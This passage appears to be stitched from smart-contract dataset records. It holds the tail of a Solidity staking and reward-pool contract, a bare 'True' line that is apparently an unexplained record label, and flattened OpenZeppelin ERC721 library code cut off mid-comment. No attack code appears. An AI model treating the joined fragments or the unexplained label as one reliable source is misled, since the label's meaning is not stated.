pendingReward(uint256 _pool, address _user) override external view returns (uint256) { uint256 totalReward = 0; PoolInfo memory poolInfo = poolInfos[_pool]; if (address(0) != poolInfo.lp && (poolInfo.startBlock <= block.number)) { uint256 rewardPerShare = 0; if (0 < poolInfo.totalPower) { uint256 reward = (block.number - poolInfo.lastRewardBlock).mul(poolInfo.rewardPerBlock); if (poolInfo.rewardProvide.add(reward) > poolInfo.rewardTotal) { reward = poolInfo.rewardTotal.sub(poolInfo.rewardProvide); } rewardPerShare = reward.mul(1e24).div(poolInfo.totalPower); } rewardPerShare = rewardPerShare.add(poolInfo.rewardPerShare); UserInfo memory userInfo = pledgeUserInfo[_pool][_user]; totalReward = userInfo.pendingReward; totalReward = totalReward.add(userInfo.invitePower.mul(rewardPerShare).sub(userInfo.inviteRewardDebt).div(1e24)); totalReward = totalReward.add(userInfo.pledgePower.mul(rewardPerShare).sub(userInfo.pledgeRewardDebt).div(1e24)); } return totalReward; } function rewardContribute(address _user, address _lower) override external view returns (uint256) { if ((address(0) == _user) || (address(0) == _lower)) { return 0; } uint256 inviteReward = 0; (address upper1, address upper2) = invite.inviteUpper2(_lower); if (_user == upper1) { inviteReward = rewardInfos[_lower].pledgeReward.mul(invite1Reward).div(100); }else if (_user == upper2) { inviteReward = rewardInfos[_lower].pledgeReward.mul(invite2Reward).div(100); } return inviteReward; } function selfReward(address _user) override external view returns (uint256) { address upper1 = invite.inviteUpper1(_user); if (address(0) == upper1) { return 0; } RewardInfo memory userRewardInfo = rewardInfos[_user]; return userRewardInfo.pledgeReward.mul(inviteSelfReward).div(100); } function poolNumbers(address _lp) override external view returns (uint256[] memory) { uint256 count = 0; for (uint256 i = 0; i < poolCount; i++) { if (_lp == poolViewInfos[i].lp) { count = count.add(1); } } uint256[] memory numbers = new uint256[](count); count = 0; for (uint256 i = 0; i < poolCount; i++) { if (_lp == poolViewInfos[i].lp) { numbers[count] = i; count = count.add(1); } } return numbers; } function setOperateOwner(address _address, bool _bool) override external { _setOperateOwner(_address, _bool); } function _setOperateOwner(address _address, bool _bool) internal { require(owner == msg.sender, ErrorCode.FORBIDDEN); operateOwner[_address] = _bool; } //////////////////////////////////////////////////////////////////////////////////// function addPool(string memory _name, address _lp, uint256 _startBlock, uint256 _rewardTotal) override external returns (bool) { require(operateOwner[msg.sender] && (address(0) != _lp) && (address(this) != _lp), ErrorCode.FORBIDDEN); _startBlock = _startBlock < block.number ? block.number : _startBlock; uint256 _pool = poolCount; poolCount = poolCount.add(1); PoolViewInfo storage poolViewInfo = poolViewInfos[_pool]; poolViewInfo.lp = _lp; poolViewInfo.name = _name; poolViewInfo.multiple = 1; poolViewInfo.priority = _pool.mul(100); PoolInfo storage poolInfo = poolInfos[_pool]; poolInfo.startBlock = _startBlock; poolInfo.rewardTotal = _rewardTotal; poolInfo.rewardProvide = 0; poolInfo.lp = _lp; poolInfo.amount = 0; poolInfo.lastRewardBlock = _startBlock.sub(1); poolInfo.rewardPerBlock = rewardPerBlock; poolInfo.totalPower = 0; poolInfo.endBlock = 0; poolInfo.rewardPerShare = 0; emit UpdatePool(true, _pool, poolInfo.lp, poolViewInfo.name, poolInfo.startBlock, poolInfo.rewardTotal, poolInfo.rewardPerBlock, poolViewInfo.multiple, poolViewInfo.priority); return true; } function setRewardPerBlock(uint256 _pool, uint256 _rewardPerBlock) override external { require(operateOwner[msg.sender], ErrorCode.FORBIDDEN); PoolInfo storage poolInfo = poolInfos[_pool]; require((address(0) != poolInfo.lp) && (0 == poolInfo.endBlock), ErrorCode.POOL_NOT_EXIST_OR_END_OF_MINING); poolInfo.rewardPerBlock = _rewardPerBlock; PoolViewInfo memory poolViewInfo = poolViewInfos[_pool]; emit UpdatePool(false, _pool, poolInfo.lp, poolViewInfo.name, poolInfo.startBlock, poolInfo.rewardTotal, poolInfo.rewardPerBlock, poolViewInfo.multiple, poolViewInfo.priority); } function setRewardTotal(uint256 _pool, uint256 _rewardTotal) override external { require(operateOwner[msg.sender], ErrorCode.FORBIDDEN); PoolInfo storage poolInfo = poolInfos[_pool]; require((address(0) != poolInfo.lp) && (0 == poolInfo.endBlock), ErrorCode.POOL_NOT_EXIST_OR_END_OF_MINING); require(poolInfo.rewardProvide < _rewardTotal, ErrorCode.REWARDTOTAL_LESS_THAN_REWARDPROVIDE); poolInfo.rewardTotal = _rewardTotal; PoolViewInfo memory poolViewInfo = poolViewInfos[_pool]; emit UpdatePool(false, _pool, poolInfo.lp, poolViewInfo.name, poolInfo.startBlock, poolInfo.rewardTotal, poolInfo.rewardPerBlock, poolViewInfo.multiple, poolViewInfo.priority); } function setName(uint256 _pool, string memory _name) override external { require(operateOwner[msg.sender], ErrorCode.FORBIDDEN); PoolViewInfo storage poolViewInfo = poolViewInfos[_pool]; require(address(0) != poolViewInfo.lp, ErrorCode.POOL_NOT_EXIST_OR_END_OF_MINING); poolViewInfo.name = _name; PoolInfo memory poolInfo = poolInfos[_pool]; emit UpdatePool(false, _pool, poolInfo.lp, poolViewInfo.name, poolInfo.startBlock, poolInfo.rewardTotal, poolInfo.rewardPerBlock, poolViewInfo.multiple, poolViewInfo.priority); } function setMultiple(uint256 _pool, uint256 _multiple) override external { require(operateOwner[msg.sender], ErrorCode.FORBIDDEN); PoolViewInfo storage poolViewInfo = poolViewInfos[_pool]; require(address(0) != poolViewInfo.lp, ErrorCode.POOL_NOT_EXIST_OR_END_OF_MINING); poolViewInfo.multiple = _multiple; PoolInfo memory poolInfo = poolInfos[_pool]; emit UpdatePool(false, _pool, poolInfo.lp, poolViewInfo.name, poolInfo.startBlock, poolInfo.rewardTotal, poolInfo.rewardPerBlock, poolViewInfo.multiple, poolViewInfo.priority); } function setPriority(uint256 _pool, uint256 _priority) override external { require(operateOwner[msg.sender], ErrorCode.FORBIDDEN); PoolViewInfo storage poolViewInfo = poolViewInfos[_pool]; require(address(0) != poolViewInfo.lp, ErrorCode.POOL_NOT_EXIST_OR_END_OF_MINING); poolViewInfo.priority = _priority; PoolInfo memory poolInfo = poolInfos[_pool]; emit UpdatePool(false, _pool, poolInfo.lp, poolViewInfo.name, poolInfo.startBlock, poolInfo.rewardTotal, poolInfo.rewardPerBlock, poolViewInfo.multiple, poolViewInfo.priority); } //////////////////////////////////////////////////////////////////////////////////// }

True

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/** *Submitted for verification at Etherscan.io on 2022-03-07 */ /** *Submitted for verification at Etherscan.io on 2022-03-01 */ /** *Submitted for verification at Etherscan.io on 2022-02-26 */ /** *Submitted for verification at Etherscan.io on 2022-02-22 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are 